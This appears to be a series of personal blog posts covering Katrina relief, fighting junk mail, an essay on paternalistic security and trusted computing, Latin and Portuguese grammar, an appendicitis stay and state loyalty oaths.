I remember the blood drive Betsy organized in high school. I had not only a severe fear of needles, but even a history of starting to faint when I was poked with a needle or otherwise cut (what doctors sometimes told me was "vasovagal syncope", which is exacerbated by fear or stress and which raises the weird question of whether I was afraid of needles because I would faint or whether I would faint because I was afraid of needles, or both). So I helped people with the paperwork and protocol of blood donation, and gave them juice and cookies afterward, instead of giving blood myself. At one level, this seems a sensible way to help; at another level, maybe I should try harder to get over my fear of needles. (See also The glass floor and the meaning of rationality; here the fact is that people will need blood donations for the rest of my life, and I know that my level of fear, and likely my risk of vasovagal syncope, can be changed together over time depending on what I do. So why shouldn't I put together a plan to change them?)

So there is a dizzying (with apologies to the glass floor) problem not only of our current capacity to work on problems but also of our ability to develop different capacities and skills which would influence what we could do (and which problems would start to catch our attention and seem more or less compelling and urgent).

If I showed up in the Katrina disaster zone today, I would be worse than useless. Not only am I out of shape and at risk of fainting, but I haven't been through ICS training, nor CPR, nor Search and Rescue, nor even First Aid. Not so Nicol, who has had many of the elements of formal paramedic and disaster training, and may actually be in a position to help. The Red Cross literally told me in so many words that I have already done the most useful thing I could do, which is to send them cash. In every disaster, established relief organizations have to waste a tremendous amount of time trying to persuade people that it is not helpful to ship commodity donations long distances to a disaster site, and that it is not helpful for untrained volunteers to travel long distances to show up in person at a disaster site.

But despite this, it is not absolutely clear that simply sending money is actually the most useful thing I could do, because I know something about ICT, if not about ICS, and because people on several mailing lists I'm on were talking about whether they could get permission to set up an Internet cafe in the Houston Astrodome for the benefit of refugees. And while they were talking about it, an established Texas technology organization already did it -- because, naturally, they were in a better position to do something like that, since they already knew people and sources of equipment in Houston.

But Ping and some techfedders are talking about infrastructure -- and, more importantly, co-ordination and interoperability -- for missing persons databases. (You can read about Ping's work on this problem, if you're interested.)

On the other hand, I could actually try to get First Aid, CPR, and other kinds of training, at least by way of being prepared to use them in my day-to-day life, especially since there are many indications that people in actual emergency situations often react more courageously and usefully than they might have expected. The adrenaline reaction is just the start.

There is really a dizzying regress that we necessarily run up against when considering how we could become more useful against the problems of the present and the future. I can't help immigrants with their legal problems, but I could give money to organizations that do; I could go to law school, but I'm not willing to become an officer of the court, so I couldn't practice law. But I could do things to help other people who are willing. I could learn First Aid and hope or try to reduce my propensity to vasovagal syncope at the sight of blood. I could try to get in shape so that I might actually be able to help with a search and rescue operation.

"[Ts'ui Pên] believed in an infinite series of times, in a growing, dizzying net of divergent, convergent, and parallel times. This network of times which approached one another, forked, broke of, or were unaware of one another for centuries, embraces all possibilities of time. We do not exist in the majority of these times; in some you exist, and not I; in others I, and not you; in others, both of us. In the present one, which a favorable fate has granted me," I was able to help Dmitry Sklyarov go home to his family, while innumerable others spent years in prison for non-violent drug offenses.

But after spending five hours yesterday reading about New Orleans, Biloxi, Gulfport, and people who will actually know what I have only heard about in literature, I want to agree with Johnny Gunther that "sufficient unto the day is the evil thereof"; so if you are stuck and dizzy in the Garden of Forking Paths this afternoon, please at least give what you can to the American Red Cross.

I still haven't finished my series of posts about fighting junk mail, but I promise to get around to it some day.

I was just looking at the Post Office's Setting the Record Straight page, which catalogues the letters written by USPS public relations vice president Azeezaly S. Jaffer to various people who said mean things about the Post Office. Jaffer gets on the case whenever someone criticizes postal rates or uses a term like "going postal" or "junk mail".

"Junk mail"? The Post Office doesn't want people to call it "junk mail"?

That's right: they want you to call it "advertising mail".

Ms. Hornidge does express concern over what we here like to call advertising mail although she has another term for it. I would ask though that she bear in mind while that some might call it "junk," to others it's a solicitation from a favorite charity, it's an offer on a favorable mortgage interest rate to the young couple buying a first home or a bargain on a car to someone who needs one.

Or again:

So, you'll understand that I'm also annoyed when people use the term "junk mail." To some, it's "junk mail" but to others, it's solicitation from your favorite charity, it's news on an attractive mortgage interest rate to the young couple buying their first home, it's information on a bargain price on a car for someone who needs one and yes, it's a part of the economic engine that makes this country go.

More importantly, unlike the telemarketer interrupting your dinner, ad mail is not intrusive. It's delivered to a box at your home and you can look at it at your leisure—or not at all. Only you are in control of your mail. So I'd suggest you be patient, and enjoy your evening "mail moment." Who knows, you might find a bargain.

Or again:

So, I'm always disheartened when a newspaper chooses to refer to advertising mail as "junk," as in your July 8 story "You've got mail - junk mail, that is."

That story can only be described as an all-out assault on the advertising mail profession and it didn't just quote others but in the words of your writer, Carolyn Straub, "There you have it: Junk mail. Phooey."

Well, to some it is junk mail. But to others, it's a solicitation from a charity in need. It's also an offer on a favorable mortgage interest rate for a young couple buying their first home, or a bargain on an automobile to someone who needs one.

To a lot of other people, this so called "junk" is a job. The livelihood of more than a million Californians depends on the advertising mail industry. This number is not just the creative employees of an advertising agency but it also includes the printers, typesetters, truck drivers, warehouse workers, paper recyclers, office workers and yes, mail carriers and more who are connected to the development and delivery of advertising mail.

Maybe the Postal Service is touchy about junk mail because it makes a large portion of its revenue from unsolicited bulk mail that it knows the public hates and would love to get rid of. Only the extremely effective political organization of the junk mail industry has probably stopped Congress from putting an end to junk mail. Meanwhile, the Postal Service adopts policies that help prevent junk mailers from finding out about the fact that most people they target are upset about that fact. Significantly, although other categories of mail can be refused or returned to the sender at the sender's, or the post office's, expense, third class mail can practically never be returned at all unless the recipient is willing to pay to return it (something I've begun doing on a regular basis).

We need to find strategies that will raise the direct and indirect costs both to senders of junk mail for sending it and to the post office for carrying it. The lobbying arms of the junk mail industries are too powerful -- and their product too profitable for USPS -- to make it foreseeable that the Postal Service will do anything to reduce junk mail solely because people hate it (or editorialize against it).

To the Smithsonian magazine, no less:

However, you do a disservice to your readers when you refer to any part of the mail that Americans send and receive as "junk." It's ironic that on the same page you mark the birth of the potato chip, calling it culinary history and noting its $6 billion industry. One would hope the same level of detachment would be used to describe the mail, which supports an $800 billion mailing industry that employs 9 million people. That's not junk. That's commerce.

Hmmm, I think John Maynard Keynes made a suggestion on another way of using junk to create employment:

If the Treasury were to fill old bottles with bank-notes, bury them at suitable depths in disused coal-mines which are then filled up to the surface with town rubbish, and leave it to private enterprise on well-tried principles of laissez-faire to dig the notes up again (the right to do so being obtained, of course, by tendering for leases of the note-bearing territory), there need be no more unemployment and, with the help of the repercussions, the real income of the community, and its capital wealth also, would probably become a good deal greater than it actually is.

Jacob Appelbaum is on a plane right now, headed for the New Orleans disaster area as a part of the Champaign-Urbana Community Wireless Network contingent of tech volunteers who are going to work on rebuilding communications capacity somewhere in the Southeast (perhaps in New Orleans itself).

What will you do to celebrate Software Freedom Day this Saturday, September 10?

Software Freedom day celebrates free software. That means that the public enjoys

Writing in LinuxWorld On-line, Don Marti took people to task for saying that free software was nothing more than a "development methodology":

Do people really spend their weekends helping annoying new people install free software because it has a more efficient development methodology? Of course not. If it were only about efficiency, hobbyists would volunteer to replace the old ballasts in companies' fluorescent lights.

If you're in the Bay Area, you can follow up your Software Freedom Day celebration by attending the Solano Stroll in Berkeley on Sunday.

Mako has a great name for his apartment. Since I helped him come up with that name, I have to confess that there is a sound argument that acetarium actually means "salad ingredient", not "salad" (although he can counter with an equally strong argument that acetarium must be a synechdoche for "salad").

In Lewis and Short, acetaria (plural of acetarium) is given as Pliny's word for salad (which is probably where my teachers got it from when they used it at the Rusticatio). L&S explain that they take the phrase as "acetaria sc. olera", which is to say "vinegared [read: and oiled] stuff". If they're right, then acetarium would be a "vinegared [read: and oiled] thing" -- short for "acetarium et olerum". Perhaps, then, the fullest form of Mako's apartment's name is The Acetarium and Olerum at The Cantabrigia.

If Mako wanted to avoid the confusion about the exact number of vinegared and oiled things at the Cantabrigia, he could call his place the Acetaria at the Cantabrigia. (N.B.: Acetaria is plural; Cantabrigia is singular and is Latin for "Cambridge". Appropriately enough.) However, he's already registered Acetarium.com, so I guess his home will continue be a place of singular vinegary distinction.

Cool!

"I'm passionate about treating people equally," Newdow told The Chronicle. "Imagine you send your kids to school every day, and the teachers made them stand up and say, 'We are one nation that denies God exists.' Imagine you are Jewish, and they say, 'We're one nation under Jesus.' Imagine you are Christian, and they say, 'We're one nation under Mohammad.'"

Sometimes the courts want to let issues fade away, and sometimes people won't let them.

However, the question of tactical incrementalism is strong and as live here as it is in same-sex marriage. Many civil libertarians who want a strong rule are nervous about Newdow because they want to do it piece-by-piece and bit-by-bit, and because they perceive that "the country isn't ready for it" -- just as with same-sex marriage. Again, it's a strange thing about a precedent system where the answers you get depends significantly on the order in which you ask the questions.

So you have people who say that justice consists in doing the right thing now (although the right thing is incredibly unpopular), and people who say that there's no prospect of that, and that you must, so to speak, build up a ladder and then, so to speak, throw away the ladder after you have climbed up on it.

A funny thing is happening on Wikipedia that I will mention after it's over so as to avoid fomenting a conflict of interest.

Don Marti agrees with several observers that user education is not the answer to computer security problems -- contrary, I think, to a commonplace view only a few years ago and perhaps still today.

As editor of Linux Journal, Don published an article I wrote called "Give TCPA an Owner Override", in which I worried about security technologies that irrevocably take choices away from end users. Interestingly, there are (at least) three threads among trusted computing advocates and implementers, only one of which is particularly relevant here. The first two threads are about allowing or forcing users to give up certain kinds of control in on-line interactions because the user might do something that a publisher or service provider doesn't like, or that other users wouldn't like. There is then an argument about whether this is good for the user and whether it's important whether it's good for the user or not. The third thread is about allowing or forcing users to give up control because the user might do something that the user would regret but that the user wouldn't be able to understand was wrong.

This falls, for example, under the heading of protecting users against worms and Trojan horses that might undermine security policies that are thought to be in the user's pure self-interest. Microsoft gave a trusted computing demo that emphasized that NGSCB (in its original design) could help protect users in a way that I have called paternalistic. This paternalistic approach to security is related to the traditional concept of mandatory access control; NIST, for example, writes that MAC is employed where

the security policy of a system dictates that:

Trusted computing systems with remote attestation provide a means of implementing a kind of mandatory access control in a PC operating system for paternalistic reasons: because the user is at risk of making bad decisions (under the influence of phishing attacks, to take just one example, or if the user voluntarily installs dangerous spyware, to take another) and therefore must not be permitted to defeat or circumvent the security policies.

Some recent informal conversations with TCG members persuaded me of three things. First, it is actually possible to implement some kinds of paternalistic security under TCG. For example, you can give users an authentication credential that they can't transfer or give away, that spyware can't steal, and that the users can't even authorize spyware to steal if they wanted to. That's pretty interestingly and pretty different from the status quo. Indeed, you can build a client that allows people to access a particular service (say, a bank account or an on-line auction) in a way that actively prohibits them from delegating or transferring any of their authority to another person or noninteractive process, even if their system is compromised, or even if they want to transfer it. (Well, there are limitations to this; they could still tell another person their passwords, but those passwords would never work if used from a different client machine, because the server has a way to distinguish different clients, or at least to distinguish different identity-to-client bindings.)

Second, some people consider this ability a prerequisite for some kinds of on-line commerce because they simply do not believe that high-value transactions can safely be conducted on traditional general-purpose operating systems on general-purpose computers without an attestation feature.

Third, some people who aren't on board the DRM bandwagon but who come from traditional computer security think that this paternalism or mandatory access control application is important enough by itself to justify trusted computing deployment.

Now, the tricky thing for me, and I presume for Don, is that this paternalism is really paternalistic paternalism. It is the genuine article. The way you enforce a policy like "the user has a credential that can't be transferred to spyware even with the user's consent" without being psychic or AI-complete is that you define every single piece of user-installed third-party software as presumptively spyware. That is, you say that the user has a credential that cannot be transferred by the user to any program (sc. "operating environment", "software stack") that is not on a pre-approved list. And you have technological enforcement of this; you have mandatory access control; it doesn't matter what the user thinks. If the user modifies the local software environment or uses an unrecognized client, it temporarily voids the user's authorization to authenticate to particular services. And this does away with the need for user education for security for those servics, because the user is physically incapable of doing anything that will violate their security policy!

Now, some computer security people are saying that this is, in some form, the only plausible future for computer security. I have heard a sober argument that we need to be able to have a sort of formal proof that the user is not running a program that is against the user's own interest, or that would expose high-value transactions (whatever you want to define them as) to surveillance or interception or falsification by an unauthorized party. And of course the only way to do this is to say that the user shall not run certain programs for certain purposes, at all ever, whether the user wants to or not. This is not quite the same as an application blacklist or a document revocation list or not having a general purpose computer, because you can run whatever you want when you're not doing something "security-sensitive"; you could, in one extreme, have an operating system full of viruses and spyware and games, and another operating system full of financial software and VPN clients and secure remote desktop tools and cryptographically-enabled e-mail clients, and just not let them interact at all. (Or, continuing the MAC analogy, the financial software could read the viruses and spyware and games, but not vice versa.)

In this model, the user gets to decide what software to run in general, but not what software to run while doing something security-sensitive. One interesting question here is how we know that people actually implementing security software will have the knowledge or the incentives to act in the user's interest and not in some other interest (and a related question is about what happens when there is a merger of pro-user and anti-user features in a single program, or a different mix of features in rival programs, or a conflict of interest, or the user actually does know better in a particular case but the security policy author doesn't have the knowledge or the authority to agree that the user really does know better). Another interesting question here is whether things like Internet access will eventually fall into the category of things that are considered security-sensitive; cf. Trusted Network Connect, which lets ISPs define what client software configurations are acceptable, a power they've arguably never had before and which many of them will claim to be exercising in the end-user's interest.

While I agree with the sentiment that there is much to be done in security and in security usability, I am nervous about the entire abandonment of the concept of user education. The only possible consequence seems to be building systems that don't (for fear of phishing and the like) even permit users to do things that are against the security policy and that give them no way to override or alter it.

We were once told (in a sentiment attributed to Doug Gwyn) that "UNIX was not designed to stop you from doing stupid things, because that would also stop you from doing clever things" and it seems clear that at a certain level this is an inherent tension. If users can (without giving up interoperability!) debug their kernels, then they can install kernel rootkits, even at the request of persuasive phishers. If users can replace their browsers, or install browser plugins, then they can install spyware. If users can install screensavers, then they can likely install keyloggers. If users can script their operating systems, then they can run script kiddies' packages on their operating systems. (N.B. There are, of course, operating system security techniques that will mitigate some of these risks. But that brings us back to the same problem: if users can alter the implementation of the security techniques that mitigate the risks, they can counteract the mitigation of the risks and reintroduce the risks...) On the other hand, if someone has a technical mechanism for blocking spyware, for blocking certain third-party applications, for allowing only a single application ever to read a particular resource, for forcing software upgrades, and so on, then there is a political question about how these powers will be used, and with what collateral damage to tinkering values and open-standards values. I have also alluded to this essential tension in section 2, and especially section 2.3, of the EFF Comments on the TCG best practices document.

The article by Jakob Nielsen that Don cites does not seem to propose particularly paternalistic steps; it proposes mostly steps related to usability. However, Nielsen does not suggest creating security measures that users can't defeat or override; that means phishers can still try to persuade users to defeat or override these measures. Clearly some kind of user education would still be necessary, wouldn't it?

If we really want a computer security in which users can never be tricked into violating the security policy at all, we need to take users' unpredictable, not-characterized-by-formal-models subjective decisionmaking processes out of the loop. I see a long-term trend headed in that direction, and I worry about it. The trend seems to involve replacing user education by paternalism that includes enforced limits on users' software choices, at least in particular contexts. And it is more than a little tempting to accept this in a few contexts while fearing what lies at the end of this path. I would like to know what Don has to say about this trend and how it relates to his skepticism of user education.

Why do credit card companies sometimes unilaterally offer a lower interest rate? This happened to me today, and I've sometimes heard stories about it from other people, too. There is a customer service script triggered by some kind of inscrutable database condition that causes the customer service agent to lower your interest rate for no apparent reason.

My theory is that they are afraid of losing customers to other lenders' refinancing and balance-transfer deals, perhaps when research indicates that a particular demographic will be particularly tempted by a particular lender's program, and so they try to pre-empt it by partially undercutting the other lender's offer, and so retain customers. Is there any other reason for this?

Don Marti has responded to my post about paternalism, and so has Stefan Bechtold.

The funny thing on Wikipedia was that the Wikipedia article about me had been proposed for deletion, which turned out not to be successful.

Pete Peterson pointed out that university jobs are not the only jobs lost over state loyalty oaths; now Illinois has turned away a hurricane shelter volunteer for refusing its loyalty oath.

Jessica Parman wanted to help hurricane victims but didn't see the need to pledge allegiance to her government to do it.

Parman said she was turned away from a hurricane relief center in Chicago last week because she refused to sign an oath presented by the Illinois Emergency Management Agency.

Interestingly, as Matthew Belmonte first told me, the idea that disaster relief workers need to owe political allegiance to the government that is co-ordinating their activity is one of the legal rationales for the contemporary California loyalty oath. See Cal. Gov. Code section 3100 et seq.. So from the point of view of California law, maybe disaster relief work is a particularly relevant kind of work to the loyalty oath, rather than a particularly irrelevant kind of work.

Jessica Parman wanted to help people in a shelter hundreds of miles away from an actual disaster. The state refused her help over a loyalty oath. It's hard to see anything but waste in that unless you think that expressions of political allegiance are inherently good and desirable in themselves.

"Die Welt des Glücklichen ist eine andere als die des Unglücklichen." (Wittgenstein, Tractatus 6.43)

On Sunday morning I woke up with severe pain on the right side of my abdomen. Half an hour after I woke up I was on the phone with a nurse; one hour after I woke up I was at the emergency room; one hour and five minutes after I woke up I was being examined by a triage nurse; an hour and a half after I woke up I was receiving intravenous morphine and antibiotics; four hours after I woke up I received a CAT scan; five hours after I woke up I was diagnosed with appendicitis; six hours after I woke up I met my surgeon; seven hours after I woke up I was in surgery. (Some of these times may be inaccurate, since once I got on morphine, and especially general anaesthesia, my short-term memory started to fail, and they also took away my watch when preparing for surgery.) Some friends visited me in the hospital on Sunday evening as I was waking up from my general anaesthetic.

The surgeon came back on Monday and discharged me from the hospital; my cousin took me home and I got some rest and some more visitors.

This was my first time being hospitalized, having a CAT scan, receiving general anaesthesia, and receiving morphine or any opioid. So I had a lot of new experiences in a hurry. One other was the dramatic loss of short-term memory as a result of the painkillers. The day I was discharged from the hospital, I could easily remember the beginning of the Iliad from μηνιν αειδε Θεα through to Λητους και Διος υιος, which is exactly as far as I've ever known it. (It would be great to have a version of the old joke about playing the piano after surgery in which I ended up knowing more of the Iliad after surgery.) But in the same conversation, I had to struggle momentarily to remember who had come to visit me in the hospital the night before.

I was extremely impressed with the care I received at St. Luke's Hospital. And I would especially like to thank Praveen for spending his birthday in the hospital with me.

I had been writing a long letter when my hospitalization interrupted me, so I decided to finish it as normal, and then to attach a subsequent page titled APPENDIX describing my hospital experience. You only get to use that joke at most once in a lifetime. I've also been looking, without success, for a joke about the Appendix Vergiliana.

This pun was totally not planned ahead of time.

A month ago, I had a conversation in Portuguese with one of our interns, in which I discussed Latin grammar and the forms of the Latin word mensa (table), which are more numerous than in Portuguese, since Portuguese has lost some of its inflections. Roughly speaking, Portuguese (like English) requires word order, and sometimes prepositions, to show grammatical relationships that can be shown in Latin by changing the form of a word.

I don't want to claim this is a good pun, or even, truth be told, a funny bad pun, but it's the first time I've made a pun in Portuguese other than a pirate joke (I pretty much missed Talk Like a Pirate Day due to appendicitis), and Richard Stallman puts great stock in the experience of punning in foreign languages. So, in recounting my conversation about Latin grammar, I wrote: "Eu gostei de falar sobre mesas." (I liked talking about tables.) And then I added: "Também gosto de comer sobremesas." (I also like eating desserts.)

Jacob gave a very intense talk at WebZine this afternoon describing his father's death and Jacob's time in Iraq and then in New Orleans. Since Jacob is a photographer, the whole thing was illustrated by a constant slide-show of professional-quality documentary photographs.

Jacob's theme was the humanity of everyone everywhere and the failure of our institutions to respect it and to communicate it to us. I think it was one of the most memorable and most personal speeches I've ever seen.

Latin has temporal infinitives. For example, you can express having-done-verb with a single word (e.g. portavisse, to have carried) or being-about-to-do-verb with almost a single word (e.g. portaturus, about to carry, or the more famous morituri, those who are about to die, or those who will die, which is to say everyone).

Portuguese has personal infinitives. For example, you can express for-us-to-do-verb with a single word (e.g. perguntarmos, for us to ask) or for-them-to-do-verb with a single word (e.g. perguntarem, for them to ask).

One of the many ways in which these infinitives are useful is in predicating qualities of them. For example, you can say concisely in Latin that it is good to have gone swimming or it is exciting to be about to eat or it is difficult to be about to write something or it is better to have loved and to have lost than never to have loved at all (my guess is melius est amavisse et perdisse quam numquam amavisse) or even the corresponding it is better to be about to love and to lose than never to be about to love (melius est amaturus et perditurus esse quam numquam amaturus esse). And you can say concisely in Portuguese that it is sad for us not to be able to help (é triste não podermos ajudar, where "for us not to be able" is conveyed by não podermos).

What's interesting is that Portuguese has no temporal infinitives and Latin has no personal infinitives. You can see this easily by contrasting reference books like Barron's 501 Latin Verbs Fully Conjugated in All the Tenses (Prior and Wohlberg) and 501 Portuguese Verbs Fully Conjugated in All the Tenses (Nitti and Ferreira). The grammatical categories are simply different.

It would be fun to have both features available in a single language, so that we could form temporal personal infinitives by some means of grammatical inflection. For example, we would be able to have a single word for my having gone or their being about to eat or our having studied or your being about to read. Is there any language that can do this? Neither Portuguese or Latin is up to the task.

There is actually another grammatical feature that Latin infinitives can convey -- voice (active or passive). A Latin infinitive can also refer to the state of experiencing an action, as opposed to engaging in the action, and this is true for past infinitives as well as present infinitives. Most Latin verbs can form five different infinitives (amare, to love [now, or in general]; amari, to be loved [now, or in general]; amavisse, to have loved [in the past], amatus esse, to have been loved [in the past], amaturus esse, to be about to love [in the future]). Some authorities also suggest the future passive infinitive amatus iri, to be about to be loved [in the future]. I have never used this form or seen it in a text, but I have no doubt that it's attested.

Thus, Latin infinitives and Portuguese infinitives both support different kinds of inflection along different dimensions akin to the regular inflection of finite verbs. They both suggest a general pattern where we can move from a finite verb form that expresses a tense, mood, voice, person, and number to an infinitive conveying the notion of "for this to happen" or "the idea or fact of this happening". In Latin, the allowable dimensions of this parallelism are limited to tense and voice; in Portuguese, they are person and number. (Nitpicking: those Latin infinitives that rely on participles also indirectly express number, and arguably gender, which is not otherwise marked in Latin verb inflection: amatus esse and amati esse; amaturus esse and amaturi esse. Latin infinitives that do not rely on participles never express number.) Neither language allows subjunctive infinitives, which seems to be OK because you can often get a subjunctive effect where strictly necessary by using a subjunctive of the verb to be (or, in Portuguese, sometimes a subjunctive and sometimes a conditional).

So a larger question might be whether there is any inflected language with a regular process for making infinitives (or other nouns -- or, for that matter, participles, which could be the subject of a whole other post in themselves) out of any arbitrary finite verb. Latin and Portuguese, taken together, offer tantalizing hints in that direction, but neither one quite goes there.

Some suggestions for reducing and eliminating junk mail, and for increasing junk mailers' costs to reduce the nationwide incidence of junk mail for everyone. Note that all of the suggestions below are free except for three, and I include an offer to pay your costs for two of those three.

Join the Do Not Call List free on-line via donotcall.gov; this list is operated by the Federal government and in my experience is over 95% effective at preventing calls from for-profit entities with which you have no prior business relationship. (Most such calls are prohibited by law once you are on the list.) OK, so that one is about telemarketing rather than junk mail, but you can use the time you save not answering telemarketing calls to pursue getting off of junk mailers' lists.

Opt out of all credit card offers by telling credit bureaus not to give information about you in connection with transactions you did not iniatiate (you can still get credit if you ask for it; you just won't get offers in the mail) for free at optoutprescreen.com or for free by phone at (888)5-OPT-OUT. This is a legitimate service of major commercial credit bureaus and is endorsed by mainstream privacy advocacy organizations -- and it worked promptly and completely for me. (This is also useful for sharply reducing the risk of someone else fraudulently applying for credit in your name.)

Subscribe to the "Mail Preference Service". Read about it at DMA's web site, but please don't pay the DMA to list you in the MPS; instead, sign up by mail by sending a postcard with your name, address, and signature to Mail Preference Service, Direct Marketing Association, PO Box 643, Carmel, NY 10512.

If you want to subscribe to the MPS and don't want to pay the postcard postage, I will personally pay for your stamp (offer limited at this time to first 500 MPS registrants only) because I hate junk mail that much and want to make a contribution to reducing it. If you have to buy a postcard, I will pay for the postcard. (I would also be interested in getting some postcards pre-printed with the MPS mailing address and lines for people to write in their own names and addresses, and then pre-stamping these and handing them out at some kind of fair, festival, or conference. If anyone is interested in doing this with me, let me know.)

A prolific junk mailer who does not use the MPS is ADVO, Inc. I find them especially obnoxious because they use a relationship with the National Center for Missing and Exploited Children as cover for their wasteful junk mailing activities, and they twice ignored my request to stop receiving their mail. But, if you receive their frequent junk mail flyers, you can still sign up with them at their web page and hope that it makes a difference.

File prohibitory orders against junk mailers; you just need to complete USPS form 1500 and take it to your post office with the junk mail. The post office has no right to review and no discretion to disagree with your characterization of junk mail (or the products it advertises) as "erotically arousing and/or sexually provocative" and there is no filing fee. It will be illegal for that junk mailer to mail you again after the prohibitory order issues. (Thanks, Chris.)

Bounce junk mail. If junk mail bears the text "FIRST CLASS POSTAGE PAID" or has a regular first class stamp, write on it "Remove me from your list -- Return to sender" or "Refused -- Return to sender"; then cross out your address (lightly) and drop the junk mail in any mailbox. If it does not say "FIRST CLASS POSTAGE PAID", you also need to affix a first-class stamp to get the post office to carry it back (because return service is not included in "standard mail" postage, unless the junk mailer wrote something specific about return service or return postage). Doing either of these things is preferable to simply throwing it out or recycling it in your home, since it will make the junk mailer pay the costs of disposing of the junk mailer's own mail -- and junk mailers, not you, should be paying to dispose of their junk.

Send blank Business Reply Mail postcards back to junk mailers. If you open junk mail (intentionally or unintentionally), you will often find Business Reply Mail cards or envelopes inside. You should always use these -- but not to buy what the junk mailers are selling! The junk mailers will have to pay the return postage. Either write "REMOVE ME FROM YOUR LIST" and your address on the back, or simply write "STOP SENDING JUNK MAIL". Please do not do this with Business Reply Mail cards sent by mailers other than junk mailers, since Business Reply Mail has many completely legitimate uses.

Write to Azeezaly S. Jaffer, Vice President of Public Affairs for the Postal Service, and tell him to stop trying to get the news media to call junk mail something other than junk mail. You should be able to reach him at United States Postal Service, 475 L'Enfant Plaza, SW, Washington, D.C. 20260, ATTN: Azeezaly S. Jaffer. I will also be happy to pay for your stamp if you write to Mr. Jaffer.

O vos omnes, o vos omnes
qui transitis per viam
attendite, attendite
et videte:
si est dolor sicut dolor meus.

(after Lamentations 1:12 (Vulgate))

Here are three sets of photographs from the EFF 15th birthday party this weekend:

I show up only in Jacob's set.

This very blue picture shows a new printer test sheet I made with a picture of Shi Tao and the text (from the Wikipedia article on Samizdat):

Before Glasnost, the practice [of Samizdat publishing] was dangerous, since copy machines, printing presses and even typewriters in offices were under control of the First Departments (KGB outposts): for all of them reference printouts were stored for identification purposes.

The blue light reveals (to anyone looking at the page in person, though not in Jacob's photograph) a matrix of yellow dots which Xerox caused its DocuColor printers to include to help law enforcement identify the origins of printed documents. See our page on this, which I need to update with lots of new information.

"I suspect Microsoft Windows Product Activation fails the Desert Island Test. In fact, Windows probably fails every test. I doubt Windows can be packaged in Debian."

Here an anthropologist in Nevada discovers that state's loyalty oath and suggests that it may have been revived there because of recent concerns about terrorism. I did have a feeling that it would be harder to abolish the California loyalty oath after the September 11 attack than before it. This makes me wonder why so many people adopted the conventional wisdom, not that civil liberties should be compromised or less vigorously advanced, but that naturally Americans in general could be expected to believe this about civil liberties. I and virtually every civil libertarian I know adopted an anxious attitude about the "post-September 11 climate" even where we had never personally experienced another American exhibiting concrete disdain for, or skepticism about, civil liberties as a result of the attack. How did that happen?

How much of the concrete erosion of civil liberties that subsequently developed was a result of some kind of self-fulfilling prophecy about what other Americans would believe? And, to the extent that it was, where did that prophecy come from?

Even to me, concrete action and activism against the state loyalty oaths felt more natural or obvious during the boom, when it felt like a time self-assured enough to be generous and to try to do the right thing just for fun. As opposed, for instance, to what Dar Williams says about when she was growing up, just after the time that the loyalty oaths came to prominence in the universities:

I'm no ordinary princess, I was born in the Cold War,
And my team is the Rockets.
Go team, it's a dangerous time.

I agree with the anthropologist (Dustin Wax) that

Although I imagine that administering loyalty oaths makes those who administer it feel like they are taking some sort of action against a vague and unsettling threat, I think it is more fruitful to consider the oath as a display of power. The State is not telling me to be loyal -- if they were, they would spell out what explicitly they consider disloyal -- they are rather asserting their ability to force me to declare my loyalty.

That is what the loyalty oath has in common with "under God" in the Pledge of Allegiance: it is showing off, conspicuously displaying a power to define, a power to get people to say things. That power thrives on "a dangerous time".

This afternoon I'm going to see Good Night, and Good Luck -- a movie about that original "dangerous time". Maybe it will help me understand what makes us assume that other people will see a time as dangerous or safe, or assume that they will cherish or ignore civil liberties.

Instead of Good Night, and Good Luck, Nick and I saw Proof. I never saw the play, but I thought the movie was well done. (I should warn prospective viewers that there is not actually very much mathematics in the movie, even though it's about mathematicians. Interestingly, it should be possible to figure out when the events of the movie are supposed to take place based on the value of the largest known Sophie Germain prime at the time.)

There is something about the dialogue in the movie that makes it feel like a play; I think it's the sequentiality of the characters' lines, the fact that they almost never talk over one another or interrupt one another.

The question of gender roles in mathematics looms large in the movie, although there are really only a tiny number of scenes that make it explicit. Those scenes make it really explicit, in one case painfully so, and I first thought that one of them was overdone, and then, when I thought more about it, I concluded that it was realistic and plausible in context. (It could have been a little more realistic if the director had been a little less afraid of including some real mathematics in the movie. If there's a question about how much mathematics different people appear to know, it's hard to dramatize this when they can only speak about mathematics in a way that's supposed to be totally clear to a non-mathematical audience.)

Robert Ebert gives the movie an enthusiastic review, with a focus on the authenticity of everyone's language:

There is a memorial service at which the speaker (Gary Houston) sounds precisely as such speakers sound; his subject is simultaneously the dead mathematician, and his sense of his own importance. There is a faculty party at which all of the right notes are sounded. And when Catherine and Hal speak, they talk as friends, lovers and fellow mathematicians; they communicate in several languages while speaking only one.

I wholeheartedly agree -- except that Catherine and Hal spend so little time talking as "fellow mathematicians" outside of that one painful scene meant to establish that Hal is infected with (and perhaps struggling against) his discipline's sexism. Nobody ever seems to mention the substance of mathematics except to help in fairly concrete and immediate ways with plot and character development. So I wouldn't grant Hal and Catherine quite as many "languages" as Ebert does.

Now that I've made that criticism more or less three times, let me conclude by recommending the movie. The relationships make sense, the accusations make sense, the developments make sense, the whole thing makes sense and hangs together.

This will have been one of the most complicated weeks I've experienced in recent memory. By the middle of next week, I'll post about some of the more pleasant things that have been going on. Keep an eye out!

Among many, many other things:

I had often wondered how we got from one Latin verb "to be" to two verbs with that meaning in Spanish and Portuguese. I assumed that one or the other must have come from a different Latin verb, and now Wikipedia's excellent article on the Romance copula explains that the verbs in question are esse and stare -- that is, estar originally meant "to stand", where ser meant "to be". Nowadays in modern Portuguese you have to specify "estar em pé", for apparently standing became metaphorical or even metonymic for temporary or accidental existence. (Cf. "The Union stands as she stood".)

P.S. I went to school "in the border country, where Massachusetts joins Vermont and New Hampshire"; they didn't teach me about Daniel Webster, or ser and estar, but they did teach me a whole lot else.

I'm going to be on TV on KPIX (and possibly other CBS stations) at 6:20 p.m. today (Tuesday), and probably on KCBS radio tomorrow morning, as well as in the Washington Post tomorrow and the Boston Globe and Red Herring pretty soon. There is also the AP story and a lot else that I don't have time to track down. But it looks like people are surprised and interested.

I just got back from a great trip to New York City. I want to congratulate the Software Freedom Law Center on getting underway there, Karen Kukil on the No Other Appetite exhibit, Wendy on her law professorship, and thank all the friends and family I saw there for a fun time.

Wendy took a nice picture of me at the Hunter College School of Social Work, where my father went to graduate school:

Don Marti has pointed to Liu Xiaobo's letter to Jerry Yang about Shi Tao; I have rarely seen a more eloquent or a more righteously indignant letter (even in translation).

I saw in your resume that you are the same age as Shi Tao, thirty-seven. But there are no other similarities between you.

